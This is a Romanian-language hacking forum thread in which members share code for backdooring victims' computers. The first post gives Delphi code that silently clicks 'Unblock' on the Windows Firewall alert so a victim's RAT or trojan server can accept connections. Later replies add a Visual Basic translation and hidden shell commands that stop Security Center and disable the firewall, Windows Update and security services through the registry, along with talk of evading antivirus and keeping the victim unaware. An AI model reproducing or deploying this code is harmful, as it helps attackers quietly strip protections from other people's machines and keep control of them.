c0smyn Posted March 17, 2009 Report Share Posted March 17, 2009 Majoritatea datilor cand nu va puteti conecta pe adresa unei victime care a rulat un server de rat, trojan etc este din cauza firewallu`lui care atentioneaza victima. Ei bine aceasta "jucarie" v-a apasa pe butonul "&Unblock".varFirewallWindow: hwnd;UnlockButton: hwnd;Done: boolean;labelCheck;beginCheck:Done := false;FirewallWindow := FindWindow(nil,'Windows Security Alert');if FirewallWindow <> 0 then beginUnlockButton := FindWindowEx(FirewallWindow,0,'Button','&Unblock');SendMessage(UnlockButton ,BM_CLICK,0,0);Done := true; end; if Done = true then application.Terminate else GoTo Check;end;Enjoy Quote Link to comment Share on other sites More sharing options...
flippy Posted March 17, 2009 Report Share Posted March 17, 2009 asta in delphidar in visual basic ? Quote Link to comment Share on other sites More sharing options...
c0smyn Posted March 17, 2009 Author Report Share Posted March 17, 2009 asta in delphidar in visual basic ?cheamal pe bunnn ala sa il traduca in vb mi-a mai tradus el niste tutoriale Quote Link to comment Share on other sites More sharing options...
Nytro Posted March 18, 2009 Report Share Posted March 18, 2009 Practic nu il "omoara". In plus aplicatia se poate adauga la exceptii, sau i se poate da disable. De tradus in VB e banal, "nil" e NULL nu? Quote Link to comment Share on other sites More sharing options...
steli Posted March 18, 2009 Report Share Posted March 18, 2009 (edited) [vb] mai simplu , scris de whoShell("cmd.exe /c net stop " & Chr(34) & "Security Center" & Chr(34), vbHide)Shell("cmd.exe /c net stop SharedAccess", vbHide)Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\SharedAcce ss" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wuause rv" & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)Shell("cmd.exe /c reg add " & Chr(34) & "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc " & Chr(34) & " /v Start /t REG_DWORD /d 0x4 /f", vbHide)http://www.opensc.ws/vb-unsorted/3795-add-startup-all-windows-version.htmltraducerea in vb :Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPrivate Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As LongPrivate Const WM_CLICK = &HF5 Dim FirewallWindow As Long Dim UnlockButton As Long FirewallWindow = FindWindow(vbNullString, "Windows Security Alert") If FirewallWindow <> 0 Then UnlockButton = FindWindowEx(FirewallWindow, 0, "Button", "&Unblock") SendMessageSTRING UnlockButton, WM_CLICK, 0, 0 End If Edited March 18, 2009 by steli Quote Link to comment Share on other sites More sharing options...
c0smyn Posted March 18, 2009 Author Report Share Posted March 18, 2009 Practic nu il "omoara".Alt nume nu am gasit ..nil(delphi) , null(vb)editcodu ala e cam complicat ... find windows find windows ex .. prea detectat de unii antivirusi.))))) Quote Link to comment Share on other sites More sharing options...
mp4 Posted July 11, 2009 Report Share Posted July 11, 2009 merge si pe sp3 am testat eu. Quote Link to comment Share on other sites More sharing options...
Fitty Posted July 12, 2009 Report Share Posted July 12, 2009 Interesant conceptul...dar omul nu vede nici macar un "flash" al ferestrei? Mai bine modifici in registrii decat asa Quote Link to comment Share on other sites More sharing options...
mp4 Posted July 13, 2009 Report Share Posted July 13, 2009 Sa stii ca nici macar nu apare....Pur si simplu, nici macar un frame...E mai bun asa, deoarece firewallul ii permite serverului sa ruleze, nu dezactiveaza firewall..Daca victima reactiveaza firewall gata sevrer.. Quote Link to comment Share on other sites More sharing options...